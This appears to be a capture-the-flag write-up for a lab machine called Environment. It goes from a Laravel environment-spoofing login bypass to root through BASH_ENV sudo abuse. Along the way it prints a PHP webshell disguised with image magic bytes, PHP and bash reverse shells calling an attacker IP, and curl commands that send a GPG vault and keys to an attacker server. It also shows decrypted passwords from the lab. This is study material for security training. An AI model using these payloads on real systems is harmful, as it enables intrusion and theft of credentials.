Post

Environment

Environment

Recon

Port Discovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sudo nmap -PN -sC -sV -oN environment 10.10.11.67
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-28 16:01 PKT
Nmap scan report for 10.10.11.67
Host is up (0.21s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_  256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Did not follow redirect to http://environment.htb
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.76 seconds

We have an exposed website that redirects to environment.htb add it to your /etc/hosts file and interact with it.

Fingerprinting the Website

1
2
whatweb environment.htb            
http://environment.htb [200 OK] Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.22.1], HttpOnly[laravel_session], IP[10.10.11.67], Laravel, Script, Title[Save the Environment | environment.htb], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], nginx[1.22.1]

On visiting the website it’s a simple one page website.

Directory and Vhost Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
gobuster vhost -u http://environment.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -t 80
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://environment.htb
[+] Method:          GET
[+] Threads:         80
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gobuster dir -u http://environment.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 80
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://environment.htb
[+] Method:                  GET
[+] Threads:                 80
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login                (Status: 200) [Size: 2391]
/storage              (Status: 301) [Size: 169] [--> http://environment.htb/storage/]
/upload               (Status: 405) [Size: 244852]
/up                   (Status: 200) [Size: 2126]
/logout               (Status: 302) [Size: 358] [--> http://environment.htb/login]
/vendor               (Status: 301) [Size: 169] [--> http://environment.htb/vendor/]
/build                (Status: 301) [Size: 169] [--> http://environment.htb/build/]
/mailing              (Status: 405) [Size: 244854]
  • /storage, /vendor, /build is forbidden. is 403 - forbidden.
  • /upload, /mailing gives a verbose error page saying GET method isn’t allowed. Supported methods POST, and it tells us a bit about the tech stack:
    • Symfony\Component\HttpKernel\Exception\MethodNotAllowedHttpException
    • PHP 8.2.28 — Laravel 11.30.0

Vulnerabilities in the framework

Articlehttps://www.wiz.io/vulnerability-database/cve/cve-2024-52301 Github

ItemWhat it is
TypeEnvironment-spoofing via query-string
Root causeLaravel trusts $_SERVER['argv'] even for HTTP requests
Prerequisiteregister_argc_argv = On in php.ini
Attack vectorOne innocent query parameter: ?--env=production (or any other env)
ImpactPage suddenly renders production-only (or debug-only) code paths, disclosing secrets, enabling dangerous features, etc.

Let’s attempt to replicate it on the login page and get initial access.

On inserting this to the query /login?--env=production we were not greeted by an error even after querying the response. Let’s try submitting the login form and understanding how it works:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /login HTTP/1.1
Host: environment.htb
Content-Length: 98
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://environment.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://environment.htb/login?--env=production
Accept-Encoding: gzip, deflate, br
Cookie: XSRF-TOKEN=eyJpdiI6InZna3JzM2JwdGlVSDIzZm55WDl5b2c9PSIsInZhbHVlIjoiTUJ5OWF6RzZvZDF1d3RYekp5WGZqVFRPL0pBVy93dHVZVno2YnpHRXI2SnNkam4rdFZ2MElZQ2VmeDQwUThEcUxkYS9nVmxKTTFyU01wVnVsak1hbFFqRVh2NndwS2ZKRFM0MjJjU2JILzFjV0ljMEZza2V6Y2RESy9GdTQxLysiLCJtYWMiOiJhYWY0YzRlM2JiMDdlNTZmMzJkNGYwYTE4NDAyOTdiNTk1NjcxY2UyN2Y5NjQ0MzMxMGNmYThmOTE0ZmQyMjQ3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5CY2pDSlhKaW5MQTArcWhtenl0anc9PSIsInZhbHVlIjoiTWVNQmpUMHpOVEY5RGg0VlNHbkwveFQrUTJOZjVxL242UjVxbS9zaDhOcHJ0a21vQWFyREtrZjVVeWxmWGZEbkV4OUlTZTA3Ri91YTRvb0RsMHRJM01aaHMvdy9aQmpYOERjV2VzUW1ZaW5SMDJxbFh1NjRlZXVlenliSmgzVGIiLCJtYWMiOiI3Yjc2ZGM5Y2ZjZGY2YzUxOTE0ZjdiNGZlNTM3NzVmNDRjMDdlNDZlZDg2MDhmZTYyMTI4ODNmNWFhODJiMjcyIiwidGFnIjoiIn0%3D
Connection: keep-alive

_token=kYupsZnqVROi0JKZy7HrZ7FgURDGkmPmXUtw46sj&email=test%40mail.com&password=test&remember=False

On manipulating the remember field to an integer we get an even more verbose response, to the point it seems like the source code is exposed.

The exposed code is 3900 lines long with some being css, html, and php in between. From that response we could see:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
        $keep_loggedin = False;
    } elseif ($remember == 'True') {
        $keep_loggedin = True;
    }

    if($keep_loggedin !== False) {
    // TODO: Keep user logged in if he selects "Remember Me?"
    }

    if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs
        $request->session()->regenerate();
        $request->session()->put('user_id', 1);
        return redirect('/management/dashboard');
    }

    $user = User::where('email', $email)->first();

So the environment prepod should allow direct login?

Let’s test it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /login?--env=preprod HTTP/1.1
Host: environment.htb
Content-Length: 97
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://environment.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://environment.htb/login?error=Invalid%20credentials.
Accept-Encoding: gzip, deflate, br
Cookie: XSRF-TOKEN=eyJpdiI6InFBU1hsbEtsSTE5WkZzTm1MR2NzSnc9PSIsInZhbHVlIjoibkN6eXlVMDFLVWFHY1AxQitTWnFLZVQzY3UzanNwOU1LblhwTldzYmtVeW40Slo0T3hGcU5PdkNRNlZoalQ5cXJEMWpYMG00bHlrNlNFWHY4WGlLV3dqck1aVnJrckg0aTJGdkNtOEVwRm1QS0FTNjlGWlhqbTBoQWFtSjkzTTAiLCJtYWMiOiJiOTA4YTM4NGVhNmZjMjBkMjg5YmE0MDFlY2NjNTcxYjA5YzQ2MWNhMjM3NGUyY2ViMmIzOGM0ZWNmZmI2YWNiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik1Tb0tCL2luSC9zeitMM29zRm9TNWc9PSIsInZhbHVlIjoibTVpb0tyOWEyQ08yYWYwS0RBQmpqRXA0ZTVxL2UxSUFhQmN6NzM4S1B4Q1JRbStaQ2hwZjBtZWErQXNldmJoaDJiRUFhZkZDV1BocnpsMHRIaXlzOXpPV0ViRHArS25WVmhkTmkyaWd0N1dVUVl1ZEdiTVVGT0VNeE9sMVdDcXIiLCJtYWMiOiI3OTVmNmNkOTdlMmE1MjE1N2ZiODk2NDJhMjEyM2U1ZTEzZmU0ZTIxYTg1ZDUxM2ZhYjdiOTAxZTkwMjJiYzAyIiwidGFnIjoiIn0%3D
Connection: keep-alive

_token=RrFs1XXSpwHlmd2C1nCUSwIjzc7QayUlXmFryJdi&email=test%40mail.com&password=test&remember=True

Response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
HTTP/1.1 302 Found
Server: nginx/1.22.1
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Cache-Control: no-cache, private
Date: Mon, 28 Jul 2025 11:31:03 GMT
Location: http://environment.htb/management/dashboard
Set-Cookie: XSRF-TOKEN=eyJpdiI6Ii84bFc3OG16SzF3TjlsMWxuZWc4Vmc9PSIsInZhbHVlIjoiLzJucWpEVDUwcFpKK0RKREt5dW9vQm15UFlRaSs5bWM5SUpTZk5ITlhuU2V5b2VoSDNzbXU5RzlKZ1lueVZpUHpDbXVOdUVWNy9MT2VqZjd5RjFzOEg0OXBBSC9RYWlxeGc0RkZUa2lIL2hXeCtWbS9uV0FPVkpIdDJsWnRKbTQiLCJtYWMiOiIwMTMxZWZkZmE1NWZlNDQxMGVjYzFmZjNkZDUyZWFkMWE5YzNkNGNjNDVjNDQwZmIyOWRmMDBiODI0ZWQ2ZTc5IiwidGFnIjoiIn0%3D; expires=Mon, 28 Jul 2025 13:31:03 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6InRkODYyWVVxS25YQWt4dzJEbXY5b3c9PSIsInZhbHVlIjoiT2hjVHloRzM5dm5NNldvNHZuVTY5NWRkWk1zUC9NaTllWXZLNzJPeWVQZVNsUUNHK3BiQkVObW5IQ29LUVZjRVZrV3diWnIxWitQM1h6OFZkQ1dXbE95U2pwaXlFSFExVmMyaEhSY3NFS2R6OFBxbHd2eE9rYTlLZ0s0RzdHOEEiLCJtYWMiOiI0YzE0ZDNmOGU5OGM0ZDJiMTZmMjZiNTlmZTEzODAxYjRjNGRhNDk0YjZhN2UwYTYzZDc0YzhiZDUxNjUxNjVlIiwidGFnIjoiIn0%3D; expires=Mon, 28 Jul 2025 13:31:03 GMT; Max-Age=7200; path=/; httponly; samesite=lax
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Content-Length: 418

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <meta http-equiv="refresh" content="0;url='http://environment.htb/management/dashboard'" />

        <title>Redirecting to http://environment.htb/management/dashboard</title>
    </head>
    <body>
        Redirecting to <a href="http://environment.htb/management/dashboard">http://environment.htb/management/dashboard</a>.
    </body>
</html>

We see a dashboard, with all the subscribed mails.

alt text

We can also see the profile photo upload feature, perhaps we could leverage this upload feature to get a webshell running.

First let’s upload a simple icon and test if it updates. I was indeed able to upload the png and it shows my selected icon.

The response shows it’s location:

1
{"url":"http:\/\/environment.htb\/storage\/files\/avatar.png","uploaded":"http:\/\/environment.htb\/storage\/files\/avatar.png"}

From the resource:

Webshells

We will use the payload: <?php system($_GET['cmd']); ?>, it will allow us to run commands using query.

On creating the file:

1
echo '<?php system($_GET['cmd']); ?>' > shell.php

and uploading it we discover that it says “Invalid file detected”. We will try to trick the system into thinking this is a jpg by inserting jpg magic bytes into the file.

Foothold

Magic Bytes

1
2
3
4
5
echo '\xff\xd8\xff\xe0<?php system($_GET['cmd']); ?>' > shell.jpg
                                                                                                     
┌──(kali㉿vm-kali)-[~/htb/environment]
└─$ cat shell.jpg
����<?php system($_GET[cmd]); ?>

We were successfully able to upload it.

1
{"url":"http:\/\/environment.htb\/storage\/files\/shell.jpg","uploaded":"http:\/\/environment.htb\/storage\/files\/shell.jpg"}

Let’s try to curl it with the parameter.

1
2
curl http://environment.htb/storage/files/shell.jpg?cmd=whoami
����<?php system($_GET[cmd]); ?>

It seems like the server is treating it like a jpg. Let’s try adding another . in the file extension and changing it from jpg to php.

echo '\xff\xd8\xff\xe0<?php system($_GET['cmd']); ?>' > shell.php.

Upload it.

1
{"url":"http:\/\/environment.htb\/storage\/files\/shell.php","uploaded":"http:\/\/environment.htb\/storage\/files\/shell.php"}

Now we are getting a response from curl but we can’t really read the characters. At the time of uploading the shell, be sure to intercept it and modify it like this:

1
2
3
4
Content-Disposition: form-data; name="upload"; filename="shell.php."
Content-Type: application/x-php

ÿØÿà<?php system($_GET[cmd]); ?>

Now curl it again. I wasn’t getting any response except for the magic bytes. I tried changing and testing a few different magic bytes and the GIF magic byte worked for me:

GIF87a <?php system($_GET['cmd']); ?>

1
2
curl "http://environment.htb/storage/files/shell.php?cmd=uname+-a"
GIF87a Linux environment 6.1.0-34-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.135-1 (2025-04-25) x86_64 GNU/Linux

Let’s get a reverse shell:

1
curl "http://environment.htb/storage/files/shell.php?cmd=php%20-r%20%27%24sock%3Dfsockopen%28%2210.10.16.23%22%2C1234%29%3Bexec%28%22sh%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27"

Shell and TTY

We now have a reverse shell and we upgrade the TTY using python3.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
www-data@environment:~/app$ ls -la
total 520
drwxr-xr-x  13 www-data www-data   4096 Apr  7 19:58 .
drwxr-xr-x   4 root     root       4096 Apr  7 19:58 ..
-rw-r--r--   1 www-data www-data    258 Jan 12  2025 .editorconfig
-rw-r--r--   1 www-data www-data   1177 Jan 12  2025 .env
-rw-r--r--   1 www-data www-data   1099 Jan 12  2025 .env.example
-rw-r--r--   1 www-data www-data    186 Jan 12  2025 .gitattributes
-rw-r--r--   1 www-data www-data    285 Jan 12  2025 .gitignore
-rw-r--r--   1 www-data www-data   4109 Jan 12  2025 README.md
drwxr-xr-x   6 www-data www-data   4096 Apr  7 19:58 app
-rw-r--r--   1 www-data www-data    350 Jan 12  2025 artisan
drwxr-xr-x   3 www-data www-data   4096 Apr  7 19:58 bootstrap
-rw-r--r--   1 www-data www-data   2354 Jan 12  2025 composer.json
-rw-r--r--   1 www-data www-data 299017 Jan 12  2025 composer.lock
drwxr-xr-x   2 www-data www-data   4096 Apr  7 19:58 config
drwxr-xr-x   5 www-data www-data   4096 Jul 29 21:05 database
drwxr-xr-x 140 www-data www-data   4096 Apr  7 19:59 node_modules
-rw-r--r--   1 www-data www-data 117751 Jan 12  2025 package-lock.json
-rw-r--r--   1 www-data www-data    378 Jan 12  2025 package.json
-rw-r--r--   1 www-data www-data   1191 Jan 12  2025 phpunit.xml
-rw-r--r--   1 www-data www-data     93 Jan 12  2025 postcss.config.js
drwxr-xr-x   4 www-data www-data   4096 Apr  7 19:58 public
drwxr-xr-x   5 www-data www-data   4096 Apr  7 19:58 resources
drwxr-xr-x   2 www-data www-data   4096 Apr  7 19:58 routes
drwxr-xr-x   5 www-data www-data   4096 Apr  7 19:58 storage
-rw-r--r--   1 www-data www-data    551 Jan 12  2025 tailwind.config.js
drwxr-xr-x   4 www-data www-data   4096 Apr  7 19:58 tests
drwxr-xr-x  42 www-data www-data   4096 Apr  7 19:58 vendor
-rw-r--r--   1 www-data www-data    377 Jan 12  2025 vite.config.js

Inspecting Config and Database

Usually the database folder or the config folder houses juicy creds.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
www-data@environment:~/app$ ls -la config/
total 72
drwxr-xr-x  2 www-data www-data 4096 Apr  7 19:58 .
drwxr-xr-x 13 www-data www-data 4096 Apr  7 19:58 ..
-rw-r--r--  1 www-data www-data 4322 Jan 12  2025 app.php
-rw-r--r--  1 www-data www-data 4029 Jan 12  2025 auth.php
-rw-r--r--  1 www-data www-data 3476 Jan 12  2025 cache.php
-rw-r--r--  1 www-data www-data 6198 Jan 12  2025 database.php
-rw-r--r--  1 www-data www-data 2407 Jan 12  2025 filesystems.php
-rw-r--r--  1 www-data www-data 5728 Jan 12  2025 lfm.php
-rw-r--r--  1 www-data www-data 4310 Jan 12  2025 logging.php
-rw-r--r--  1 www-data www-data 3539 Jan 12  2025 mail.php
-rw-r--r--  1 www-data www-data 3824 Jan 12  2025 queue.php
-rw-r--r--  1 www-data www-data 1035 Jan 12  2025 services.php
-rw-r--r--  1 www-data www-data 7852 Jan 12  2025 session.php
www-data@environment:~/app$ ls -la database/
total 132
drwxr-xr-x  5 www-data www-data   4096 Jul 29 21:05 .
drwxr-xr-x 13 www-data www-data   4096 Apr  7 19:58 ..
-rw-r--r--  1 www-data www-data     10 Jan 12  2025 .gitignore
-rw-r--r--  1 www-data www-data 110592 Jul 29 21:05 database.sqlite
drwxr-xr-x  2 www-data www-data   4096 Apr  7 19:58 factories
drwxr-xr-x  2 www-data www-data   4096 Apr  7 19:58 migrations
drwxr-xr-x  2 www-data www-data   4096 Apr  7 19:58 seeders
1
2
3
4
5
6
7
8
9
sqlite> .tables
cache                  jobs                   sessions             
cache_locks            mailing_list           users                
failed_jobs            migrations           
job_batches            password_reset_tokens
sqlite> SELECT * FROM users;
1|Hish|hish@environment.htb||$2y$12$QPbeVM.u7VbN9KCeAJ.JA.WfWQVWQg0LopB9ILcC7akZ.q641r1gi||2025-01-07 01:51:54|2025-01-12 01:01:48|hish.png
2|Jono|jono@environment.htb||$2y$12$i.h1rug6NfC73tTb8XF0Y.W0GDBjrY5FBfsyX2wOAXfDWOUk9dphm||2025-01-07 01:52:35|2025-01-07 01:52:35|jono.png
3|Bethany|bethany@environment.htb||$2y$12$6kbg21YDMaGrt.iCUkP/s.yLEGAE2S78gWt.6MAODUD3JXFMS13J.||2025-01-07 01:53:18|2025-01-07 01:53:18|bethany.png

It seems like we can’t crack the encryption:

1
2
3
4
5
6
7
8
9
10
echo '$2y$12$QPbeVM.u7VbN9KCeAJ.JA.WfWQVWQg0LopB9ILcC7akZ.q641r1gi' > hish.txt

john hish.txt --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:02:51 0.04% (ETA: 2025-08-03 11:49) 0g/s 41.99p/s 41.99c/s 41.99C/s trebor..abdullah
Session aborted

But we are allowed to see hish home files:

1
2
www-data@environment:~/app$ ls /home/hish/
backup  user.txt

The gnupg, and backup directory is interesting:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
www-data@environment:/home/hish$ ls -la
total 36
drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 .
drwxr-xr-x 3 root root 4096 Jan 12  2025 ..
lrwxrwxrwx 1 root root    9 Apr  7 19:29 .bash_history -> /dev/null
-rw-r--r-- 1 hish hish  220 Jan  6  2025 .bash_logout
-rw-r--r-- 1 hish hish 3526 Jan 12  2025 .bashrc
drwxr-xr-x 4 hish hish 4096 Jul 29 21:21 .gnupg
drwxr-xr-x 3 hish hish 4096 Jan  6  2025 .local
-rw-r--r-- 1 hish hish  807 Jan  6  2025 .profile
drwxr-xr-x 2 hish hish 4096 Jan 12  2025 backup
-rw-r--r-- 1 root hish   33 Jul 27 21:52 user.txt

www-data@environment:/home/hish/.gnupg$ ls -la
total 32
drwxr-xr-x 4 hish hish 4096 Jul 29 21:21 .
drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 ..
drwxr-xr-x 2 hish hish 4096 Jul 29 21:21 openpgp-revocs.d
drwxr-xr-x 2 hish hish 4096 Jul 29 21:21 private-keys-v1.d
-rwxr-xr-x 1 hish hish 1446 Jan 12  2025 pubring.kbx
-rwxr-xr-x 1 hish hish   32 Jan 12  2025 pubring.kbx~
-rwxr-xr-x 1 hish hish  600 Jan 12  2025 random_seed
-rwxr-xr-x 1 hish hish 1280 Jan 12  2025 trustdb.gpg

www-data@environment:/home/hish/backup$ ls -la
total 12
drwxr-xr-x 2 hish hish 4096 Jan 12  2025 .
drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 ..
-rw-r--r-- 1 hish hish  430 Jul 29 21:19 keyvault.gpg

We can’t do anything to the files here, let’s exfil them:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿vm-kali)-[~/htb/environment]
└─$ python3 -m venv .venv       
                                                                                                     
┌──(kali㉿vm-kali)-[~/htb/environment]
└─$ source .venv/bin/activate                  
                                                                                                     
┌──(.venv)(kali㉿vm-kali)-[~/htb/environment]
└─$ pip install uploadserver
Collecting uploadserver
  Using cached uploadserver-6.0.0-py3-none-any.whl.metadata (8.9 kB)
Using cached uploadserver-6.0.0-py3-none-any.whl (20 kB)
Installing collected packages: uploadserver
Successfully installed uploadserver-6.0.0
                                                                                                     
┌──(.venv)(kali㉿vm-kali)-[~/htb/environment]
└─$ python3 -m uploadserver 
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

On victim:

1
2
3
4
curl -X POST -F "files=@keyvault.gpg" http://10.10.16.23:8000/upload

tar czf /tmp/gnupg.tar.gz -C /home/hish .gnupg
curl -X POST -F "files=@/tmp/gnupg.tar.gz" http://10.10.16.23:8000/upload

GPG

1
2
3
4
5
6
7
8
9
gpg --homedir .gnupg --list-secret-keys

gpg: WARNING: unsafe permissions on homedir '/home/kali/htb/environment/gpg/.gnupg'
/home/kali/htb/environment/gpg/.gnupg/pubring.kbx
-------------------------------------------------
sec   rsa2048 2025-01-11 [SC]
      F45830DFB638E66CD8B752A012F42AE5117FFD8E
uid           [ultimate] hish_ <hish@environment.htb>
ssb   rsa2048 2025-01-11 [E]

We have the correct private key to decrypt anything encrypted to F45830DFB638E66CD8B752A012F42AE5117FFD8E

1
2
3
4
5
6
7
8
9
10
gpg --homedir .gnupg --output keyvault.txt --decrypt keyvault.gpg

gpg: WARNING: unsafe permissions on homedir '/home/kali/htb/environment/gpg/.gnupg'
gpg: encrypted with rsa2048 key, ID B755B0EDD6CFCFD3, created 2025-01-11
      "hish_ <hish@environment.htb>"

cat keyvault.txt 
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!

We now should be able to su as hish.

Privilege Escalation

1
2
3
4
5
6
7
8
9
hish@environment:~$ sudo -l
[sudo] password for hish: 
Matching Defaults entries for hish on environment:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    env_keep+="ENV BASH_ENV", use_pty

User hish may run the following commands on environment:
    (ALL) /usr/bin/systeminfo

env_keep is a configuration option within the sudoers file that determines which environment variables are preserved when a command is executed using sudo.

Inspecting file contents:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
hish@environment:~$ cat /usr/bin/systeminfo
#!/bin/bash
echo -e "\n### Displaying kernel ring buffer logs (dmesg) ###"
dmesg | tail -n 10

echo -e "\n### Checking system-wide open ports ###"
ss -antlp

echo -e "\n### Displaying information about all mounted filesystems ###"
mount | column -t

echo -e "\n### Checking system resource limits ###"
ulimit -a

echo -e "\n### Displaying loaded kernel modules ###"
lsmod | head -n 10

echo -e "\n### Checking disk usage for all filesystems ###"
df -h

hish@environment:~$ ls -la /usr/bin/systeminfo
-rwxr-xr-x 1 root root 452 Jan 12  2025 /usr/bin/systeminfo

This is a custom script that runs without any interaction. BASH_ENV variable tells BASH a file that Bash will read and execute before running a script non-interactively.

We will create a malicious script that gets us a root shell and point it’s path value to BASH_ENV variable. Whenever the custom script runs as sudo we will get the root shell.

1
2
3
4
echo 'bash -i >& /dev/tcp/10.10.16.23/4444 0>&1' > /tmp/script.sh
chmod +x /tmp/script.sh
export BASH_ENV=/tmp/script.sh
sudo /usr/bin/systeminfo 

We have root reverse shell!

1
2
3
4
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.23] from (UNKNOWN) [10.10.11.67] 42224
root@environment:

This post is licensed under CC BY 4.0 by the author.